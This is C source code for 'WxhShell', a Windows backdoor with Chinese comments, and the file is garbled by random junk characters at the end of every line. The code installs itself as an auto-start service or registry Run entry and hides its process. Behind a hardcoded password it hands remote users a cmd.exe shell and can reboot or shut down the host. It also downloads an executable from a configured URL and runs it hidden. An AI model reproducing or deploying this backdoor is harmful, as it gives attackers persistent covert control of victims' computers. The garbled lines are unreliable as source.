    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wr-I~>D%_  
    else { X*9-P9x(6  
    closesocket(wsh); sE ^YOT<  
    ExitThread(0); ^# 4e_&4  
    } uc}F|O   
    break; #g'j0N  
    } =woP~+  
  // 获取shell dI>cPqQ  
  case 's': { bh#6yvpMR  
    CmdShell(wsh); db&!t!#,  
    closesocket(wsh); pl$wy}W-  
    ExitThread(0); $wDSED -  
    break; |*M07Hc x  
  } 9e.$x%7j  
  // 退出 ?cn`N|   
  case 'x': { o-JB,^TE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h B_p  
    CloseIt(wsh); {?"X\5n0  
    break; H)CoByaj  
    } '-cayG   
  // 离开 hT`&Xb  
  case 'q': { BzV97'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?*ZQ:jH  
    closesocket(wsh); I zVc  
    WSACleanup(); #2"'tHf4  
    exit(1); OR37  
    break; J :O&2g"g  
        } DLD9  
  } {Ppb ;  
  } <4~SFTWY  
u%Mo.<PI  
  // 提示信息 !6a;/ys  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D7m uf  
} H328I}7  
  } lCBH3-0^  
*{5/" H5  
  return; ;=k{[g 'gv  
} -yb7s2o  
%9J:TH9E)  
// shell模块句柄 |_QpB?b  
int CmdShell(SOCKET sock) d1D=R8P_u  
{ Q laoa)d#  
STARTUPINFO si; 4bL? V^@7  
ZeroMemory(&si,sizeof(si)); Z^=(9 :  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2##mVEo.(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  dvz6  
PROCESS_INFORMATION ProcessInfo; 3\{\ al   
char cmdline[]="cmd"; ?P4y$P  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d|)ARRW  
  return 0; #p]V?  
} Z9q4W:jyS  
.mcohfR  
// 自身启动模式 NeP  
int StartFromService(void) +XW1,ly~  
{ qg|ark*1u  
typedef struct &9z&#`AY]>  
{ eu~ u-}.  
  DWORD ExitStatus; 9W_mSum  
  DWORD PebBaseAddress; qnnRS  
  DWORD AffinityMask; 94|ZY}8|f  
  DWORD BasePriority; :SWrx MT  
  ULONG UniqueProcessId; /-t!)_zvw  
  ULONG InheritedFromUniqueProcessId; a>9_#_hI  
}   PROCESS_BASIC_INFORMATION; :>Qu;Z1P  
)X:Sfk  
PROCNTQSIP NtQueryInformationProcess; og~a*my3  
3x 7fa^umR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :(.:bf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9a_UxF+6/  
_a|g >  
  HANDLE             hProcess; b\zq,0%  
  PROCESS_BASIC_INFORMATION pbi; 2(Yg',aMY-  
`T{CB) ?9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m1X*I  
  if(NULL == hInst ) return 0; >[wB|V5  
,?IXfJ`c  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dw!Xt@,[g{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @ &rf?:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -AU'1iRcK7  
Om>?"=yDE  
  if (!NtQueryInformationProcess) return 0; g{uiY|  
)EQI>1_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jC$~m#F  
  if(!hProcess) return 0; j 9GKz1  
e'c3.sQ|?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !0UfX{.  
1zw,;m n  
  CloseHandle(hProcess); tFX<"cAvK  
9`5.0**  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ktvs*.?  
if(hProcess==NULL) return 0; Pn4jI(  
Z_<NUPE  
HMODULE hMod; +2}Ar<elP  
char procName[255]; -*hPEgcV9  
unsigned long cbNeeded; |9Yx`_DF  
l-!"   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9 C{Xpu  
l@u  "iGw  
  CloseHandle(hProcess); 6W3."};  
+lZ-xU1  
if(strstr(procName,"services")) return 1; // 以服务启动 yx6^ mis4  
`[XH=-p  
  return 0; // 注册表启动 0;,Y_61  
} ~X %cbFom=  
2']0c  z  
// 主模块 qu]a+cYY  
int StartWxhshell(LPSTR lpCmdLine) U3v~R4  
{ X56q ,jCJ{  
  SOCKET wsl; wV{j CQ  
BOOL val=TRUE; <:N$ $n  
  int port=0; )8n?.keq  
  struct sockaddr_in door; w40*vBz  
N~or.i&a  
  if(wscfg.ws_autoins) Install(); odJE~\\hw  
H!,V7R  
port=atoi(lpCmdLine); RdL5VAD  
(^sb('"  
if(port<=0) port=wscfg.ws_port; 4ji'6JHPg  
xaV3N[Zd  
  WSADATA data; +l!.<:sp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,zH\P+*  
3,{;wJ Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3[l\l5'm8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3UZ_1nY  
  door.sin_family = AF_INET; 4`cfFowK~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {ehYE^%N  
  door.sin_port = htons(port); x^Qij!mB%  
gvo5^O+)HH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uH7rt  
closesocket(wsl); 1DL+=-  
return 1; cXN0D\%`  
} #BS!J&a  
6z/&j} (  
  if(listen(wsl,2) == INVALID_SOCKET) { a8%T*mk(  
closesocket(wsl); +|K,\ {'U  
return 1; xlgT1b:6  
} ?qn4 ea-\P  
  Wxhshell(wsl); 5H 1x-b  
  WSACleanup(); @y0kX<M  
LW("/  
return 0; kI5LG6  
;i+(Q%LO  
} `Pwf?_2n-  
2)n%rvCQ  
// 以NT服务方式启动 Gz8JOl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LUz`P6  
{ y^kC2DS   
DWORD   status = 0; a{%EHL,F  
  DWORD   specificError = 0xfffffff; U~c9PqjZ  
R iV]SgV 9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _+}hId  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; je>gT`8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @wP.Rd  
  serviceStatus.dwWin32ExitCode     = 0; _n4`mL8>kH  
  serviceStatus.dwServiceSpecificExitCode = 0;  P/]8+_K  
  serviceStatus.dwCheckPoint       = 0; BCd0X. m(  
  serviceStatus.dwWaitHint       = 0; V2tA!II-s  
p!?7;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); oW(8bd)  
  if (hServiceStatusHandle==0) return; 5`K'2  
9{A*[.XK]  
status = GetLastError(); \S~<C[P  
  if (status!=NO_ERROR) n iB<h  
{ b Hy<`p0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [ei5QSL |  
    serviceStatus.dwCheckPoint       = 0; I9U 8@e!X  
    serviceStatus.dwWaitHint       = 0; B8up v~U 6  
    serviceStatus.dwWin32ExitCode     = status; ?q5HAIZ`  
    serviceStatus.dwServiceSpecificExitCode = specificError; JKCV >k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vt9o8naz  
    return; )coA30YR  
  } Th~pju  
(ueH@A"9;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }JT&lyO< b  
  serviceStatus.dwCheckPoint       = 0; pBQ[lPCY/  
  serviceStatus.dwWaitHint       = 0; F1`mq2^@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _F8-4  
} :b#5 cMUe  
~n/:a  
// 处理NT服务事件,比如:启动、停止 K:pG<oV|}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _qQo}|/q  
{ :n x;~f  
switch(fdwControl) SBw'z(U  
{ _,-\;  
case SERVICE_CONTROL_STOP: )S_ %Ip  
  serviceStatus.dwWin32ExitCode = 0; )MX%DQw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %U1HvmyK  
  serviceStatus.dwCheckPoint   = 0; 0nlh0u8#  
  serviceStatus.dwWaitHint     = 0; z:{R4#(Q  
  { tfe'].uT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z@Qf0 c  
  } 2"Y=*s  
  return; 1fF\k#BE-%  
case SERVICE_CONTROL_PAUSE: ;{n*F=%uC  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; rmI@ #'  
  break; 0XL[4[LdA  
case SERVICE_CONTROL_CONTINUE: \nQEvcH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; i{J[;rV9  
  break; >>=v`}  
case SERVICE_CONTROL_INTERROGATE: z_z '3d.r7  
  break; a1weTn*  
}; Yc(lY N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _ `7[}M~  
} Pp|pH|(n ,  
fK=vLcH  
// 标准应用程序主函数 .+^o{b  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]d&;QZ#w  
{ 3v<9 Z9O  
rO1.8KKJ  
// 获取操作系统版本 jqoU;u`  
OsIsNt=GetOsVer(); U(:t$SBKy  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F0Z cV>j}  
mOYXd,xd  
  // 从命令行安装 9x9E+DG#(  
  if(strpbrk(lpCmdLine,"iI")) Install(); A?c?(~9O  
Gs}lw'pK  
  // 下载执行文件 jg3['hTJT  
if(wscfg.ws_downexe) { a\I`:RO=<Z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y"nC T3  
  WinExec(wscfg.ws_filenam,SW_HIDE); KV'-^\  
} yXc@i)9w3  
i{>YQ  
if(!OsIsNt) { iWn7vv/t  
// 如果时win9x,隐藏进程并且设置为注册表启动 j!`2Z@  
HideProc(); sZU Ao&  
StartWxhshell(lpCmdLine); tLx8}@X"  
} h6(L22Hn  
else .O.fD  
  if(StartFromService()) WJ]g7!Ks  
  // 以服务方式启动 :#W>lq@H  
  StartServiceCtrlDispatcher(DispatchTable); w;^7FuBaC  
else 0'*'%Iga  
  // 普通方式启动 Cd7d-'EQn  
  StartWxhshell(lpCmdLine); 5c l%>U  
!E\J`K0_e  
return 0; SCMZ-^b  
} `3F/7$q_  
;V1e>?3  
DZ|/#- k  
3bB%@^<  
=========================================== ;4]l P  
(%;D& ~%o  
]5J*UZ}  
V{kgDpB  
cK+)MFOu+  
CB?H`R pC.  
" (fWQ?6[  
g/soop\:  
#include <stdio.h> px_%5^zRQ  
#include <string.h> BRMR> ~k(  
#include <windows.h> C/pu]%n@4  
#include <winsock2.h> ^kpu9H  
#include <winsvc.h> &]/.=J  
#include <urlmon.h> <3Hu(Jx<O  
iD9hqiX&  
#pragma comment (lib, "Ws2_32.lib") MMUw+jM4  
#pragma comment (lib, "urlmon.lib") #Y<b'7yJ  
b ~FmX  
#define MAX_USER   100 // 最大客户端连接数 aD3Q-a[  
#define BUF_SOCK   200 // sock buffer 5($ '@u  
#define KEY_BUFF   255 // 输入 buffer N DV_/BI  
S>p>$m, Q  
#define REBOOT     0   // 重启 DnPV Tp(>  
#define SHUTDOWN   1   // 关机 uc;QSVWGy8  
9Uh nr]J.  
#define DEF_PORT   5000 // 监听端口 Y~M  H  
]7{-HuQ8>}  
#define REG_LEN     16   // 注册表键长度 n7Ia8?8-l  
#define SVC_LEN     80   // NT服务名长度 RpY#_\^hI  
jDc5p3D&[]  
// 从dll定义API wD&b[i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J&6]3x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yf6&'Y{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W1J7$   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V|fs"HY  
\6${Na' \  
// wxhshell配置信息 c =i6  
struct WSCFG { n _*k e  
  int ws_port;         // 监听端口 Nm=W?i  
  char ws_passstr[REG_LEN]; // 口令 pc%_:>  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1 {V*(=Tp  
  char ws_regname[REG_LEN]; // 注册表键名 xTL"%'|  
  char ws_svcname[REG_LEN]; // 服务名 SLc'1{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 07+Qai-]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <kmn3w,vi  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w~g)Dz2G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `4 A%BKYB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KmkPq]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ),)]gw71QW  
[e'Ts#($A  
}; f/qG:yTV`  
w#,C{6  
// default Wxhshell configuration rB:W\5~7  
struct WSCFG wscfg={DEF_PORT, b fsTeW+  
    "xuhuanlingzhe", ,9p 4(jjX  
    1, Kq;Yb&  
    "Wxhshell", FiqcM-Af4  
    "Wxhshell", R{hKl#j;>  
            "WxhShell Service", f+huhJS5e  
    "Wrsky Windows CmdShell Service", gI^*O@Q4{b  
    "Please Input Your Password: ", .gWYKZM  
  1, 5A6d]  
  "http://www.wrsky.com/wxhshell.exe", >2~q{e  
  "Wxhshell.exe" ?J~(qaa;  
    }; T0Q)}%L  
>_]j{}~\k  
// 消息定义模块 vd9><W  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Uok?FEN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l M5Xw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; snV,rZ  
char *msg_ws_ext="\n\rExit."; s7<x~v+^  
char *msg_ws_end="\n\rQuit."; FHI` /  
char *msg_ws_boot="\n\rReboot..."; =x~HcsJ8!R  
char *msg_ws_poff="\n\rShutdown..."; +)FB[/pXk  
char *msg_ws_down="\n\rSave to "; W9?Vh{w  
T'l >$6  
char *msg_ws_err="\n\rErr!"; {ls$#a+d  
char *msg_ws_ok="\n\rOK!"; n8[ sl]L  
+I7n6s\  
char ExeFile[MAX_PATH]; &/4W1=>(  
int nUser = 0; 'k#^Z  
HANDLE handles[MAX_USER]; ucyz>TL0  
int OsIsNt; /4]M*ls  
QOkPliX  
SERVICE_STATUS       serviceStatus; m-UI^M,@<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [dL4u^]{  
:0j9  
// 函数声明 2*5Z| 3aX  
int Install(void); ~w'M8(  
int Uninstall(void); WLEjRx  
int DownloadFile(char *sURL, SOCKET wsh); uHUicZf.  
int Boot(int flag); V7!x-E/  
void HideProc(void); C9U~lcIS  
int GetOsVer(void); *S_eYKSl  
int Wxhshell(SOCKET wsl); Dg4 ?,{c9W  
void TalkWithClient(void *cs); !h{qO&ZH=  
int CmdShell(SOCKET sock); 2`Xy}9N/Y  
int StartFromService(void); }r6SV%]:  
int StartWxhshell(LPSTR lpCmdLine); J A ]s  
DJ;G0*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); TDdFuO'}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h84}lxT^]  
^Pf FW  
// 数据结构和表定义 [Zk|s9  
SERVICE_TABLE_ENTRY DispatchTable[] = PWOV~ `^;  
{ z1?7}9~`0c  
{wscfg.ws_svcname, NTServiceMain}, 6';'pHqe  
{NULL, NULL} )%U&z>^P  
}; 9Nglt3J[  
<1Vz QH!o  
// 自我安装 1_THBL26d  
int Install(void) %< JjftNQ  
{ P7(+{d{  
  char svExeFile[MAX_PATH]; JGp~A#H&  
  HKEY key; &+=A;Y)  
  strcpy(svExeFile,ExeFile); EUU9JnQhBJ  
C+$dm)M/q  
// 如果是win9x系统,修改注册表设为自启动 iK1<4)  
if(!OsIsNt) { 1K&z64Q5J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [J0L7p*6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y!v `0z  
  RegCloseKey(key); G:$wdT(u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w%)=`'s_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6|t4\'  
  RegCloseKey(key); BCk$FM@  
  return 0; iVzv/Lqm1  
    } ~oh=QakW  
  } -@-cG\{  
} .xuLvNyQr  
else { $$2\qN -  
Zi[@xG8dm  
// 如果是NT以上系统,安装为系统服务 {n=)<w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  z@^l1)m  
if (schSCManager!=0) 0m6Vf x  
{ Ps(3X@  
  SC_HANDLE schService = CreateService CE:TQzg  
  ( *[(O&L&0  
  schSCManager, fP%hr gL  
  wscfg.ws_svcname, @kn0f`  
  wscfg.ws_svcdisp, /i$E|[  
  SERVICE_ALL_ACCESS, /pZLt)=P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gX5I`mm  
  SERVICE_AUTO_START, dU\,>3tG  
  SERVICE_ERROR_NORMAL, V6?ku6k  
  svExeFile, $%"i|KTsv:  
  NULL, 1 e1$x@\\  
  NULL, IL?3>$,  
  NULL, v{^_3 ]  
  NULL, wP- pFc  
  NULL f@T/^|`mh  
  ); ZFNM>C^  
  if (schService!=0) deHhl(U;  
  { DTk)Y-eQ  
  CloseServiceHandle(schService); \T'uFy9&a  
  CloseServiceHandle(schSCManager); 11}X2j~Ww  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W~k"`g7uu  
  strcat(svExeFile,wscfg.ws_svcname); o-Pa3L=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ge9j:S{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9%j_"+<c  
  RegCloseKey(key); N&U=5c`Q'  
  return 0; i)g=Lew  
    } mK5<;$  
  } |\%[e@u  
  CloseServiceHandle(schSCManager); kMAQHpDD  
} nV ko]y  
} KlDW'R $  
3:7J@>  
return 1; )uiYu3 I  
} Lnbbv  *  
fDhV *LqW  
// 自我卸载 U0q{8 "Pl  
int Uninstall(void) LCx{7bN1ro  
{ O&Q_ vY  
  HKEY key; N^pTj<M<g  
R<@s]xX_  
if(!OsIsNt) { M5s>;q)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { os|8/[gT  
  RegDeleteValue(key,wscfg.ws_regname); wd2GKq!  
  RegCloseKey(key); ^&buX_nlO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,y>,?6:>  
  RegDeleteValue(key,wscfg.ws_regname); )1wC].RFYm  
  RegCloseKey(key); 4eK!1|1  
  return 0; F0W4B  
  } S:4'k^E  
} ,3 &XV%1  
} X@|'#%  
else { orYE&  
#'fh'$5"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t=o0 #jo  
if (schSCManager!=0) lxx)l(&  
{ z %{Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e`zx#v  
  if (schService!=0) oa$-o/DhB  
  { {m~.'DU  
  if(DeleteService(schService)!=0) { 6z=h0,Y}  
  CloseServiceHandle(schService); QE*O~Yj  
  CloseServiceHandle(schSCManager); 16ahU$@-  
  return 0; ~A2{$C  
  }  \B) a57  
  CloseServiceHandle(schService); mIgc)"  
  } bD*V$w*P  
  CloseServiceHandle(schSCManager); e\%+~GUTC=  
} 6&_"dg"  
} PnkJ Wl<S  
:so2 {.t-  
return 1; Jn3cU  
} ;[TC`DuNj0  
'QW/TJ=7r  
// 从指定url下载文件 8+Sa$R  
int DownloadFile(char *sURL, SOCKET wsh) {q f gvu  
{ f#mBMdj  
  HRESULT hr; /8(c^  
char seps[]= "/"; ~XGBE  
char *token; {\z&`yD@  
char *file; |C}n]{*|  
char myURL[MAX_PATH]; 07 [%RG  
char myFILE[MAX_PATH]; "} =RPc%9  
2u9O+]EP  
strcpy(myURL,sURL); l?Vm/YXb  
  token=strtok(myURL,seps); Agt6G\ n  
  while(token!=NULL) &J(+XJM%  
  { 6/_] |4t  
    file=token; IX@g].)C  
  token=strtok(NULL,seps); "~-H]9  
  } yN}upYxp  
afrU>#+"  
GetCurrentDirectory(MAX_PATH,myFILE); Bu|U z0Y  
strcat(myFILE, "\\"); nF$n[:  
strcat(myFILE, file); ,ab_u@  
  send(wsh,myFILE,strlen(myFILE),0); W[Kv Qt3%  
send(wsh,"...",3,0); )c|S)iJ7=z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V@krw"vW  
  if(hr==S_OK) XJJdCv^  
return 0; gwVfiXR4  
else wMFo8;L  
return 1; -7jP'l=h  
J |4q9$  
} xS.Rpx/8  
'](4g/%  
// 系统电源模块 T,N"8N{K"  
int Boot(int flag) rHe*/nN%*  
{ [MLJs-*   
  HANDLE hToken; >d#oJ?goX  
  TOKEN_PRIVILEGES tkp; YDh6XD<Z  
}xhat,9  
  if(OsIsNt) { 5'iJN$7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mBW E^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7 0pt5O3]  
    tkp.PrivilegeCount = 1; eyq\a'tyB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'lmZ{a6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A8Z2o\+  
if(flag==REBOOT) { Cwo(%Wc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9 {&APxm  
  return 0; ttQX3rmF01  
} i>=d7'oR  
else { hv" 'DP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _D{zB1d\0  
  return 0; 'zYKG5A  
} "V/|RC  
  } j5hM |\]  
  else { Mou@G3  
if(flag==REBOOT) { +Smt8O<N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q2^~^'Y k  
  return 0; YA(_*h  
} <(|No3jx  
else { 6AS'MD%&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?l\1n,!:8  
  return 0; 9iMQq40  
} P "S=RX#+  
} >)5=6{x  
2 uuI_9 "^  
return 1; >y P`8Oq[  
} 2kv%k3 Q{  
.-kqt^Gc  
// win9x进程隐藏模块 PqOy"HO  
void HideProc(void) 5<0d2bK$  
{ \)?mIwo7~  
L|sWSrqd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ub1?dk   
  if ( hKernel != NULL ) Y-8qAF?SJ]  
  { 5Gj?'Wov9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _-NS-E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6 yIl)5/=  
    FreeLibrary(hKernel); WW.\5kBl8  
  } L,@O OBD  
T9 @^@l$  
return; i?7%z`  
} {HgW9N(  
re.%$D@  
// 获取操作系统版本 ]U :1N C"  
int GetOsVer(void) p(2j7W-/  
{ ,H{ /@|RW  
  OSVERSIONINFO winfo; K?l1Gj  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |=OO$z;q|  
  GetVersionEx(&winfo); R=D\VIu,Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'WqSHb7  
  return 1; %}z/_QZ  
  else xP@VK!sc  
  return 0; ` eB-C//  
} 1[k~*QS  
mwuFXu/  
// 客户端句柄模块 )9,*s !)9  
int Wxhshell(SOCKET wsl) 2>{_O?UN  
{ \L#BAB6z  
  SOCKET wsh; uj.~/W1,!  
  struct sockaddr_in client; Lh=~3  
  DWORD myID; WY@x2bBi  
f;/t7=>d  
  while(nUser<MAX_USER) * *?mZtF  
{ (wJtEoB9^  
  int nSize=sizeof(client); !'14mN#A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h]Zc&&+8{  
  if(wsh==INVALID_SOCKET) return 1; >K`.!!av,Y  
#vO3*-hs  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _ Ko0  
if(handles[nUser]==0) Isq3YY  
  closesocket(wsh); 9Ao0$|@b  
else {GF>HHQb  
  nUser++; ^qpa[6D6x  
  } 5H6GZ:hp  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l3aG#4jj  
[7Nn%eZC  
  return 0; W7N Hr5RC  
} $XS0:C0  
@4:cn  
// 关闭 socket lwH&4K  
void CloseIt(SOCKET wsh) Q^Ln`zMe  
{ ;(w=}s%]+  
closesocket(wsh); ` w Sg/  
nUser--; Q, E!Ew3  
ExitThread(0); ` n{rzenPX  
} zIbl[[M&  
/,v:!*  
// 客户端请求句柄 (.,E6H|zI  
void TalkWithClient(void *cs) - Pz )O@ ;  
{ ^_<>o[qE  
IidZ -Il  
  SOCKET wsh=(SOCKET)cs; Q}jbk9gM5  
  char pwd[SVC_LEN]; f}4c#x  
  char cmd[KEY_BUFF]; y? [*qnPj  
char chr[1]; f5a%/1?  
int i,j; /x_C  
@];#4O  
  while (nUser < MAX_USER) { Fm}O,=  
81a&99k#  
if(wscfg.ws_passstr) { | -Di/.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k;3P;@3,W  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~QdwoeaD  
  //ZeroMemory(pwd,KEY_BUFF); SX}GKu  
      i=0; ;hs:wLVa"  
  while(i<SVC_LEN) { 6\86E$f=h  
'OGOT0(  
  // 设置超时 PqcuSb6  
  fd_set FdRead; Tu_dkif'  
  struct timeval TimeOut; OxF\Hm)(  
  FD_ZERO(&FdRead); ZNB*Azi  
  FD_SET(wsh,&FdRead); +2oZB]GPL  
  TimeOut.tv_sec=8; 9BANCW"  
  TimeOut.tv_usec=0; HkvCQH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c7\bA7.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |~H'V4)zXu  
G%YD2<V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iy tSC  
  pwd=chr[0]; VhSKtD1  
  if(chr[0]==0xd || chr[0]==0xa) { 7\ff=L-b  
  pwd=0;  1 ,PFz  
  break; f Jv 0 B*  
  } %8o(x 0  
  i++; QBto$!})  
    } 3|:uIoR{  
](_(1  
  // 如果是非法用户,关闭 socket |ry;'[*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U7crbj;c)d  
} any\}   
B_cn[?M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W&06~dI1!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _;01/V"q6  
Q,\lS  
while(1) { KvilGh10  
4)j<(5  
  ZeroMemory(cmd,KEY_BUFF); ]^ O<WD  
ZuS+p0H"  
      // 自动支持客户端 telnet标准   2L<TqC{,-  
  j=0; ]VJcV.7`  
  while(j<KEY_BUFF) { 4 d]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6%S>~L66  
  cmd[j]=chr[0]; ^ioTd  
  if(chr[0]==0xa || chr[0]==0xd) { uFdSD  
  cmd[j]=0; \((>i7C  
  break; ^J% w[FE  
  } #UND'c(5  
  j++; <2cq 0*$  
    } l}Xmm^@)  
?7&VT1  
  // 下载文件 ZQBo|8*  
  if(strstr(cmd,"http://")) { 6l_8Q w*5I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X_!mZ\H7  
  if(DownloadFile(cmd,wsh)) /@#)j( eY/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &\p :VF.  
  else %oor7 -l  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zx'`'t4~  
  } e9B,  
  else { t1Jz?Ix6%  
It_yh #s  
    switch(cmd[0]) { t*}<v@,  
  8=nm`7(]  
